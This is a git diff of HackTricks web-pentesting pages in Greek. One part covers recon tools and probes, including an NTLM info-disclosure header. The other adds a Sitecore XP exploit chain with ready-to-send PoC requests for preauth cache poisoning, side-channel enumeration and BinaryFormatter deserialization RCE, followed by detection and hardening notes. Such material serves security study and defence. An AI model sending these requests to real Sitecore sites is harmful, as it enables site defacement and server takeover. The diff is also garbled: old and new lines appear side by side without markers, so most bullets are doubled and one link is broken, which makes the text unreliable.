Εργαλεία:
- **Dirb** / **Dirbuster** - Περιλαμβάνονται στο Kali, **παλιά** (και **αργά**) αλλά λειτουργικά. Επιτρέπουν auto-signed certificates και αναδρομική αναζήτηση. Πολύ πιο αργά σε σύγκριση με τις άλλες επιλογές.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει auto-signed certificates αλλά** επιτρέπει αναδρομική αναζήτηση.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει auto-signed certificates, **δεν** έχει **αναδρομική** αναζήτηση.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Γρήγορο, υποστηρίζει αναδρομική αναζήτηση.**
- **Dirb** / **Dirbuster** - Περιλαμβάνονται στο Kali, **παλιά** (και **αργά**) αλλά λειτουργικά. Επιτρέπουν auto-signed certificates και recursive search. Πολύ αργά συγκριτικά με τις άλλες επιλογές.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει auto-signed certificates αλλά** υποστηρίζει recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει auto-signed certificates, δεν έχει **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που, δεδομένης της λίστας των βρεθέντων URLs, θα διαγράψει "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension για δημιουργία λίστας directories από το burp history διαφορετικών σελίδων.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με duplicated λειτουργικότητες (βασισμένο σε js imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να ανιχνεύσει τις τεχνολογίες που χρησιμοποιούνται και να επιλέξει τα wordlists που θα χρησιμοποιηθούν.
- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που, δοθέντος της λίστας των βρεθέντων URLs, θα διαγράψει "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension για να δημιουργήσει λίστα directories από το burp history διαφορετικών σελίδων.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με διπλότυπες λειτουργικότητες (με βάση js imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να ανιχνεύσει τις τεχνολογίες που χρησιμοποιούνται και να επιλέξει τις wordlists που θα χρησιμοποιηθούν.
**Recommended dictionaries:**
Συνιστώμενα dictionaries:
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -268,41 +269,41 @@ Tools:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Σημειώστε ότι κάθε φορά που ένα νέο directory ανακαλύπτεται κατά το brute-forcing ή το spidering, θα πρέπει να γίνεται Brute-Forced._
_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας καινούριος κατάλογος κατά το brute-forcing ή το spidering, θα πρέπει να γίνεται Brute-Forced._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε broken links μέσα σε HTMLs που μπορεί να είναι επιρρεπή σε takeovers.
- **File Backups**: Μόλις βρείτε όλα τα αρχεία, ψάξτε για backups όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές ονοματοδοσίας για backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, δοκιμάστε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο web αρχείο.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε broken links μέσα σε HTML που μπορεί να είναι ευάλωτα σε takeover.
- **File Backups**: Μόλις βρείτε όλα τα αρχεία, ψάξτε για backups όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Συνηθισμένες παραλλαγές ονοματοδοσίας backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε τα εργαλεία [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφά parameters. Αν μπορείτε, δοκιμάστε να ψάξετε** κρυφά parameters σε κάθε εκτελέσιμο web αρχείο.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Ελέγξτε τα comments όλων των αρχείων, μπορεί να βρείτε **διαπιστευτήρια** ή **κρυφές λειτουργικότητες**.
- Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύψετε** **πληροφορίες** μέσα σε comments δεξιά της σελίδας (χρησιμοποιώντας **εκατοντάδες** spaces ώστε να μην φαίνεται το δεδομένο αν ανοίξετε τον source με τον browser). Άλλη πιθανότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορία** σε ένα comment στο **bottom** της σελίδας.
- **API keys**: Αν βρείτε κάποιο API key υπάρχει ένας οδηγός που δείχνει πώς να χρησιμοποιήσετε API keys από διαφορετικές πλατφόρμες: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Αν βρείτε κάποιο API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες apis μπορεί να προσπελάσει το key.
- **S3 Buckets**: Κατά τη διάρκεια του spidering κοιτάξτε αν κάποιο **subdomain** ή κάποιο **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τα **permissions** του bucket](buckets/index.html).
- **Comments:** Ελέγξτε τα comments όλων των αρχείων — μπορεί να βρείτε **credentials** ή **κρυφή λειτουργικότητα**.
- Αν παίζετε **CTF**, ένα "συνηθισμένο" κόλπο είναι να **κρύψετε** **πληροφορία** μέσα σε comments στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **spaces** ώστε να μην βλέπετε τα δεδομένα όταν ανοίγετε τον source με τον browser). Άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλά νέα lines** και να **κρύψετε πληροφορίες** σε ένα comment στο **κάτω** μέρος της σελίδας.
- **API keys**: Αν **βρείτε κάποιο API key** υπάρχει οδηγός που δείχνει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες apis μπορεί να προσπελάσει το key.
- **S3 Buckets**: Κατά την spidering ελέγξτε αν κάποιο **subdomain** ή κάποιο **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτήν την περίπτωση, [**ελέγξτε** τα **permissions** του bucket](buckets/index.html).
### Special findings
Κατά την εκτέλεση του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**.
Κατά τη διάρκεια του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **αντικείμενα** που πρέπει να προσέξετε.
**Interesting files**
- Ψάξτε για **links** προς άλλα αρχεία μέσα στα **CSS** αρχεία.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- Αν βρείτε ένα _**.env**_ μπορεί να βρείτε πληροφορίες όπως api keys, dbs passwords και άλλες ευαίσθητες πληροφορίες.
- Αν βρείτε **API endpoints** θα πρέπει να [τους δοκιμάσετε επίσης](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανώς "θα μοιάζουν" με αρχεία.
- **JS files**: Στην ενότητα spidering αναφέρθηκαν πολλά εργαλεία που μπορούν να εξάγουν paths από JS αρχεία. Επίσης, είναι χρήσιμο να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε κάποιες περιπτώσεις μια αλλαγή μπορεί να υποδηλώνει ότι εισήχθη μια ευπάθεια στον κώδικα. Μπορείτε για παράδειγμα να χρησιμοποιήσετε [**JSMon**](https://github.com/robre/jsmon)**.**
- Ψάξτε για **links** σε άλλα αρχεία μέσα σε **CSS** αρχεία.
- [Αν βρείτε ένα _**.git**_ αρχείο, μπορούν να εξαχθούν πληροφορίες](git.md)
- Αν βρείτε ένα _**.env**_ μπορεί να βρεθούν πληροφορίες όπως api keys, db passwords και άλλες πληροφορίες.
- Αν βρείτε **API endpoints** θα πρέπει να [τα δοκιμάσετε κι αυτά](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα "θα φαίνονται" σαν αρχεία.
- **JS files**: Στην ενότητα spidering αναφέρθηκαν αρκετά εργαλεία που μπορούν να εξάγουν paths από JS αρχεία. Επίσης, είναι ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε κάποιες περιπτώσεις μια αλλαγή μπορεί να υποδηλώνει ότι έχει εισαχθεί μια νέα ευπάθεια στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
- Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Σε πολλές περιπτώσεις θα χρειαστεί να **καταλάβετε τα regular expressions** που χρησιμοποιούνται. Αυτό θα σας φανεί χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex)
- Μπορείτε επίσης να **παρακολουθείτε** τα αρχεία όπου ανιχνεύτηκαν φόρμες, καθώς μια αλλαγή στις παραμέτρους ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια νέα πιθανή ευπάθεια.
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Σε αρκετές περιπτώσεις θα χρειαστεί να **κατανοήσετε τις regular expressions** που χρησιμοποιούνται. Αυτό θα σας φανεί χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex)
- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύτηκαν φόρμες**, καθώς μια αλλαγή σε παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια νέα πιθανή ευάλωτη λειτουργικότητα.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -313,21 +314,21 @@ _Σημειώστε ότι κάθε φορά που ένα νέο directory αν
**502 Proxy Error**
Αν κάποια σελίδα **απαντήσει** με αυτόν τον **κωδικό**, πιθανότατα είναι **κακώς ρυθμισμένος proxy**. **Αν στείλετε ένα HTTP request όπως: `GET https://google.com HTTP/1.1`** (με το host header και άλλα συνηθισμένα headers), ο **proxy** θα προσπαθήσει να **προσπελάσει** _**google.com**_ **και θα έχετε βρει ένα** SSRF.
Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, πιθανώς είναι **κακώς ρυθμισμένος proxy**. **Αν στείλετε ένα HTTP request όπως: `GET https://google.com HTTP/1.1`** (με το Host header και άλλα κοινά headers), ο **proxy** θα προσπαθήσει να **προσπελάσει** το _**google.com**_ **και θα έχετε βρει ένα** SSRF.
**NTLM Authentication - Info disclosure**
Αν ο server που ζητά authentication είναι **Windows** ή βρείτε ένα login που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε **information disclosure**.\
**Στείλτε** το **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που δουλεύει το **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στο header "WWW-Authenticate".\
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
Αν ο server που ζητάει authentication είναι **Windows** ή βρείτε μια login σελίδα που ζητάει τα **credentials** σας (και ζητάει **domain** **name**), μπορείτε να προκαλέσετε **information disclosure**.\
**Στείλτε** το **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που δουλεύει η **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στο header "WWW-Authenticate".\
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το nmap plugin "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Είναι πιθανό να **τοποθετήσετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει το redirection) αλλά κάτι θα μπορούσε να είναι **κρυμμένο** μέσα εκεί.
Είναι πιθανό να **τοποθετήσετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι μπορεί να είναι **κρυμμένο** εκεί μέσα.
### Web Vulnerabilities Checking
Τώρα που έχει γίνει μια ολοκληρωμένη enumeration της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε το checklist εδώ:
Τώρα που έχει γίνει μια ολοκληρωμένη απογραφή της web εφαρμογής, είναι ώρα να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε το checklist εδώ:
{{#ref}}
@ -342,7 +343,7 @@ _Σημειώστε ότι κάθε φορά που ένα νέο directory αν
### Monitor Pages for changes
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για αλλαγές που ενδέχεται να εισαγάγουν ευπάθειες.
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που μπορεί να εισάγουν ευπάθειες.
### HackTricks Automatic Commands
```

View File

@ -0,0 +1,193 @@
# Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning to Postauth RCE
{{#include ../../../banners/hacktricks-training.md}}
Αυτή η σελίδα συνοψίζει μια πρακτική αλυσίδα επίθεσης κατά του Sitecore XP 10.4.1 που εκκινεί από έναν preauth XAML handler προς HTML cache poisoning και, μέσω μιας αυθεντικοποιημένης ροής UI, οδηγεί σε RCE μέσω BinaryFormatter deserialization. Οι τεχνικές γενικεύονται σε παρόμοιες εκδόσεις/συστατικά του Sitecore και παρέχουν συγκεκριμένα primitives για δοκιμές, ανίχνευση και σκληρυνση.
- Προϊόν που εξετάστηκε: Sitecore XP 10.4.1 rev. 011628
- Διορθώθηκε σε: KB1003667, KB1003734 (Ιούνιος/Ιούλιος 2025)
Δείτε επίσης:
{{#ref}}
../../../pentesting-web/cache-deception/README.md
{{#endref}}
{{#ref}}
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Preauth primitive: XAML Ajax reflection → HtmlCache write
Το σημείο εισόδου είναι ο preauth XAML handler που δηλώνεται στο web.config:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
Πρόσβαση μέσω:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
Το δέντρο ελέγχων περιλαμβάνει το AjaxScriptManager, το οποίο, σε αιτήματα συμβάντων, διαβάζει attackercontrolled πεδία και ανακλαστικά καλεί μεθόδους σε στοχευμένους ελέγχους:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Βασική παρατήρηση: η σελίδα XAML περιλαμβάνει ένα XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl κληρονομεί από το Sitecore.Web.UI.WebControl (μια κλάση Sitecore), η οποία περνάει την ReflectionUtil.Filter allowlist (Sitecore.*), ξεκλειδώνοντας μεθόδους στο Sitecore WebControl.
Μαγική μέθοδος για poisoning:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Επειδή μπορούμε να στοχεύσουμε το xmlcontrol:GlobalHeader και να καλέσουμε μεθόδους του Sitecore.Web.UI.WebControl με το όνομά τους, αποκτούμε ένα preauth arbitrary HtmlCache write primitive.
### Αίτημα PoC (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Σημειώσεις:
- __SOURCE είναι το clientID του xmlcontrol:GlobalHeader μέσα στο Sitecore.Shell.Xaml.WebControl (συνήθως σταθερό όπως ctl00_ctl00_ctl05_ctl03 καθώς προέρχεται από static XAML).
- __PARAMETERS μορφή είναι Method("arg1","arg2").
## Τι να poison: Cache key construction
Τυπική HtmlCache key construction που χρησιμοποιείται από τα Sitecore controls:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
```
Παράδειγμα targeted poisoning για ένα γνωστό sublayout:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Απαρίθμηση cacheable items και “vary by” διαστάσεων
Εάν το ItemService έχει (λανθασμένα) εκτεθεί ανώνυμα, μπορείτε να απαριθμήσετε cacheable components για να εξαγάγετε τα ακριβή keys.
Γρήγορη δοκιμή:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
Λίστα αντικειμένων που μπορούν να cache και flags:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Αναζητήστε πεδία όπως Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Τα ονόματα συσκευών μπορούν να απαριθμηθούν μέσω:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Sidechannel enumeration under restricted identities (CVE-2025-53694)
Ακόμα και όταν το ItemService υποδύεται έναν περιορισμένο λογαριασμό (π.χ., ServicesAPI) και επιστρέφει έναν κενό πίνακα Results, το TotalCount μπορεί ακόμη να αντικατοπτρίζει preACL Solr hits. Μπορείτε να bruteforce item groups/ids με wildcards και να παρακολουθήσετε το TotalCount να συγκλίνει για να χαρτογραφήσετε το εσωτερικό περιεχόμενο και τις συσκευές:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Postauth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Προσβάσιμο μέσω του pipeline step convertToRuntimeHtml ConvertWebControls, το οποίο αναζητά ένα στοιχείο με id {iframeId}_inner και το base64 αποκωδικοποιεί + αποσειριοποιεί, και στη συνέχεια εισάγει το προκύπτον string στο HTML:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Ενεργοποίηση (επαληθευμένος, δικαιώματα Content Editor). Ο διάλογος FixHtml καλεί convertToRuntimeHtml. Από άκρο σε άκρο χωρίς κλικ στο UI:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Δημιουργία gadget: χρησιμοποιήστε ysoserial.net / YSoNet με BinaryFormatter για να παράγετε ένα base64 payload που επιστρέφει ένα string. Τα περιεχόμενα του string γράφονται στο HTML από ConvertWebControls μετά την εκτέλεση των παρενεργειών της αποσειριοποίησης.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## Πλήρης αλυσίδα
1) Preauth attacker δηλητηριάζει το HtmlCache με αυθαίρετο HTML ανακλαστικά καλώντας WebControl.AddToCache μέσω XAML AjaxScriptManager.
2) Το μολυσμένο HTML παρέχει JavaScript που ωθεί έναν authenticated Content Editor χρήστη στη ροή FixHtml.
3) Η σελίδα FixHtml ενεργοποιεί convertToRuntimeHtml → ConvertWebControls, το οποίο αποσειριοποιεί attackercontrolled base64 μέσω BinaryFormatter → RCE υπό την ταυτότητα του Sitecore app pool.
## Ανίχνευση
- Preauth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.
- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
## Σκληροποίηση
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable preauth XAML handlers or add strict validation; monitor and ratelimit `/-/xaml/`.
- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong serverside validation of HTML editing flows.
- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`based side channels.
- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
## References
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,129 +2,133 @@
{{#include ../../banners/hacktricks-training.md}}
## The difference
## Η διαφορά
> **Ποια είναι η διαφορά μεταξύ της δηλητηρίασης της μνήμης cache και της απάτης μνήμης cache;**
> **Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;**
>
> - Στη **δηλητηρίαση της μνήμης cache**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στη μνήμη cache, και αυτό το περιεχόμενο σερβίρεται από τη μνήμη cache σε άλλους χρήστες της εφαρμογής.
> - Στην **απάτη μνήμης cache**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στη μνήμη cache, και ο επιτιθέμενος στη συνέχεια ανακτά αυτό το περιεχόμενο από τη μνήμη cache.
> - Στο **web cache poisoning**, ο επιτιθέμενος προκαλεί στην εφαρμογή να αποθηκεύσει κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο σερβίρεται από την cache σε άλλους χρήστες της εφαρμογής.
> - Στο **web cache deception**, ο επιτιθέμενος προκαλεί στην εφαρμογή να αποθηκεύσει ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στην cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από την cache.
## Cache Poisoning
